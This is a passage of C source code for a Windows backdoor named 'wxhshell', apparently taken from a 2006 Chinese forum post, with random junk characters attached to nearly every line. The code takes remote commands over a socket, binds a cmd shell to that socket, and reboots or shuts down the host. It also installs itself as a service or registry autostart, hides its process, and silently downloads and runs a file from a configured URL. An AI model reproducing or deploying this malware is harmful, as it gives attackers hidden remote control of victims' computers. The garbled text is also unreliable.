    switch(cmd[0]) { K'zBDrkW-x  
  iXD=_^^o .  
  // 帮助 Hq0O!Zv  
  case '?': { W&p f%?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l *]nvd_  
    break; sUN9E4  
  } M <c cfU!  
  // 安装 6r}w  
  case 'i': { H5/w!y@  
    if(Install()) 5@yBUwMSj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #|;;>YnZ   
    else ;s!GpO7+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \$Aw[ 5&t  
    break; Q|tzA10E  
    } CooOBk  
  // 卸载 [5wU0~>'  
  case 'r': { jFG Y`9Zw0  
    if(Uninstall()) m?]= =9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A}MF>.!}C  
    else =aCd,4B}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &O|qx~(  
    break; bw*D!mm,  
    } Bt(U,nFB  
  // 显示 wxhshell 所在路径 }-%:!*bLj  
  case 'p': { #(1R:z\:  
    char svExeFile[MAX_PATH]; .( X!*J]G  
    strcpy(svExeFile,"\n\r"); WS2@; 8.N  
      strcat(svExeFile,ExeFile); t[%ELHV  
        send(wsh,svExeFile,strlen(svExeFile),0); 9B2`FJ  
    break; ~vstuRRST  
    } Q0(3ps~H  
  // 重启 G ;  
  case 'b': { g{^(EZ,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]X<L~s_*  
    if(Boot(REBOOT)) 7YQ689"J6B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); != u S  
    else { Rq,Fp/  
    closesocket(wsh); 3TF'[(K=  
    ExitThread(0); $X]Z-RCK3  
    } aT}?-CUxx  
    break; k*o>ZpjNH  
    } fp'%lbk=  
  // 关机 rj-Q+rgup  
  case 'd': { &OP =O*B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "<1-9CMl  
    if(Boot(SHUTDOWN)) MVZ9x%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _[8sL^  
    else { ^|lG9z%Foy  
    closesocket(wsh); GL'zNQP-  
    ExitThread(0); .MI 5?]_  
    } 8e}8@[h  
    break; \!!1o+#1j  
    } /*hS0xN*  
  // 获取shell -r@/8"  
  case 's': { Jec<1|  
    CmdShell(wsh); A]AM|2 D  
    closesocket(wsh); p5 )+R/  
    ExitThread(0); w$FN(BfA  
    break; uoe>T:  
  } B6"pw0  
  // 退出 +8|r_z\A5a  
  case 'x': { *kKdL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hnnPi  
    CloseIt(wsh); <G#z;]N  
    break; 'QxPQ cU  
    } g0"KC X  
  // 离开 +<W8kb  
  case 'q': { %LBT:Aw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .aE%z/@s=  
    closesocket(wsh); 8,YxCm ie  
    WSACleanup(); O>sE~~g]?  
    exit(1); _~_6qTv-d  
    break; &$hT27A>k  
        } l$eKV(CZ4  
  } atWB*kqI  
  } jG~UyzWH;  
s&~.";b  
  // 提示信息 <n|.Z-gF\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W.VyH|?  
} 0fU^  
  } |,OTGZgc  
.47tj`L   
  return; E!v^j=h$u  
} *'h vYl/?>  
Ax"I$6n>  
// shell模块句柄 c0W4<(  
int CmdShell(SOCKET sock) ?jRyw(Q  
{ m=p<.%a  
STARTUPINFO si; ZeY kZzN  
ZeroMemory(&si,sizeof(si)); DC8,ns]!y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ufWd) Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y6 !Zt}m  
PROCESS_INFORMATION ProcessInfo; @dp1bkU  
char cmdline[]="cmd"; ,1g*0W^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _I}rQfPJ  
  return 0; ^7&0P m  
} HOY9{>E}z  
{ei,>5K  
// 自身启动模式 #3o]Qo[Sc  
int StartFromService(void) ~ E|L4E  
{ Z,bvD'u  
typedef struct 9XPQ1LSx  
{ {|Pz9a- :  
  DWORD ExitStatus; U?:<clh  
  DWORD PebBaseAddress; 58 Rmq/6s  
  DWORD AffinityMask; V`z2F'vT  
  DWORD BasePriority; Q&Ox\*sMK  
  ULONG UniqueProcessId; $S0eERg a  
  ULONG InheritedFromUniqueProcessId; Ood'kAH1B  
}   PROCESS_BASIC_INFORMATION; 7,N>u8cTh  
Z2dy|e(c  
PROCNTQSIP NtQueryInformationProcess; T c{]w?V  
KU}HVM{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C4ut!I #  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >@o}l:*  
JV#)?/a$z  
  HANDLE             hProcess; e!(0y)*  
  PROCESS_BASIC_INFORMATION pbi; jW-j+ WGSM  
Oy!j`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?>p<!:E!r  
  if(NULL == hInst ) return 0; Eb<iR)e H=  
kGZ_/"iuO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Gv,0{DVX<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vZns,K#4H\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F" -w  
Sr`gQ#b@r}  
  if (!NtQueryInformationProcess) return 0; 3=r8kh7,  
3 T3p[q4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6_wf $(im  
  if(!hProcess) return 0; b:}`O!UBw  
Pe !eID8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Hop$w  
&!{wbm@  
  CloseHandle(hProcess); '`Smg3T!~S  
:I5]|pt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Yp`6305f  
if(hProcess==NULL) return 0; _ID2yJ   
\"qXlTQ1_9  
HMODULE hMod; PomX@N}1  
char procName[255]; +_?;%PKkuF  
unsigned long cbNeeded; rSD!u0c [  
+OF(CcA^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9Osjh G  
$;_'5`xs  
  CloseHandle(hProcess); 8Us5Oi  
l|Zw Zix  
if(strstr(procName,"services")) return 1; // 以服务启动 Jr18faEZw  
7;C9V`  
  return 0; // 注册表启动 _1c'~;  
} p1HU2APFP  
X9nt;A2TU+  
// 主模块 ` BH8v  
int StartWxhshell(LPSTR lpCmdLine) :YB:)wV,P  
{ GG\]}UjX  
  SOCKET wsl; ^\cB&<h  
BOOL val=TRUE; ehXj.z  
  int port=0; \qAMs^1-  
  struct sockaddr_in door; vZC2F  
w?.0r6j  
  if(wscfg.ws_autoins) Install(); .bvB8VOrW  
WZRrqrjq  
port=atoi(lpCmdLine); )vsiX}3  
H!&]Di1Eh  
if(port<=0) port=wscfg.ws_port; b^PYA_k-Xn  
 :XF;v  
  WSADATA data; @4h .?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'r4 j;Jn  
'oHtg @  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +J$[RxQ#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _U$d.B'*)z  
  door.sin_family = AF_INET; [Y*p I&f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gyieSXz[  
  door.sin_port = htons(port); 4NwGP^ n  
L1.<LB^4'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~LHG  
closesocket(wsl); V_!hrKkL  
return 1; c3!d4mC:  
} ,g{`M]Ov  
PR~ho&!  
  if(listen(wsl,2) == INVALID_SOCKET) { G[6V=G  
closesocket(wsl); %|o4 U0c  
return 1; Z KnEg2a  
} A[;R_  
  Wxhshell(wsl); rjQV;kX>  
  WSACleanup(); fT/;TK>z>  
zXvAW7  
return 0; Q9X_aB0  
`>'E4z]-_  
} Oh~J yrZy  
W:b8m Xx  
// 以NT服务方式启动 0NZg[>H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2>.B*P  
{ xgL*O>l)  
DWORD   status = 0; cW26TtU(  
  DWORD   specificError = 0xfffffff; 1Xt% O86  
>Rjk d>K3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QOEcp% 6I}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S*IF/ fu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AlIFTNg:"  
  serviceStatus.dwWin32ExitCode     = 0; Bh"o{-$p8`  
  serviceStatus.dwServiceSpecificExitCode = 0; 6jiVz%`=Z  
  serviceStatus.dwCheckPoint       = 0; PE|_V  
  serviceStatus.dwWaitHint       = 0; YT}m 8Y  
8{@|M l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :U0z;  
  if (hServiceStatusHandle==0) return; SI*O#K=w  
; GRSe  
status = GetLastError(); 5K;jW  
  if (status!=NO_ERROR) !GURn1vcAe  
{ votv rZ=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7pMrYIP  
    serviceStatus.dwCheckPoint       = 0; u8v;O}#  
    serviceStatus.dwWaitHint       = 0; VjBV2x  
    serviceStatus.dwWin32ExitCode     = status; ,mhO\P96ik  
    serviceStatus.dwServiceSpecificExitCode = specificError; \&`S~cV9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D?)91P/R  
    return; T'  %TMA  
  } PP.QfY4  
9sFZs]uM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MVs@~=  
  serviceStatus.dwCheckPoint       = 0; H? Z5ex  
  serviceStatus.dwWaitHint       = 0; (g`G(K_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HbX>::J8  
} (xBS~}e  
x?9rT 0D  
// 处理NT服务事件,比如:启动、停止 )/1AF^ E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IKMkpX!]  
{  ztKmB  
switch(fdwControl) -uIu-a]  
{ :Gsh  
case SERVICE_CONTROL_STOP: b lP@Cn2  
  serviceStatus.dwWin32ExitCode = 0;  5f(yF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g'ha7~w(p  
  serviceStatus.dwCheckPoint   = 0; 7+0Kg'^+n  
  serviceStatus.dwWaitHint     = 0; [fiB!G ]?  
  { OS;qb:;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]B/Gz  
  } HQw98/-_W  
  return; NGcd  
case SERVICE_CONTROL_PAUSE: <u]M):b3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5R\{&  
  break; u9ObFm$7  
case SERVICE_CONTROL_CONTINUE: HT0VdvLw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hO w  
  break; it.Lh'N;T  
case SERVICE_CONTROL_INTERROGATE: k&wCa<Rs~R  
  break; dmI~$*  
}; ebK/cPa8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s!(O7Ub  
} iZ}Afj  
\  {` `r  
// 标准应用程序主函数 yB0xa%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R?MRRq  
{ xucrp::g  
s.7\?(Lg  
// 获取操作系统版本 `Sgj!/! F  
OsIsNt=GetOsVer(); yw2Mr+9I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P'%#B&LZo  
kZ7\zbN>  
  // 从命令行安装 sdN@ZP  
  if(strpbrk(lpCmdLine,"iI")) Install(); XrP'FLY o  
[d 30mVM  
  // 下载执行文件 zG-pqE6  
if(wscfg.ws_downexe) { UdO(9Jc5^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KYa}k0tVAp  
  WinExec(wscfg.ws_filenam,SW_HIDE); &O8vI ,M  
} &CBW>*B  
H4RqOI  
if(!OsIsNt) { O?\UPNb:K  
// 如果时win9x,隐藏进程并且设置为注册表启动 RN:VsopL  
HideProc(); {zzc/!|  
StartWxhshell(lpCmdLine); dpAj9CX(  
} OM,Dy&Y  
else ~EIK  
  if(StartFromService()) bd|ZhRsL  
  // 以服务方式启动 D)shWJRlvW  
  StartServiceCtrlDispatcher(DispatchTable); ,~8&0p  
else B|9[DNd  
  // 普通方式启动 ?e=3G4N  
  StartWxhshell(lpCmdLine); Yr!@pHy  
'`s\_Q)hG_  
return 0; lU?8<X  
}
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只看该作者 1 发表于: 2006-10-10
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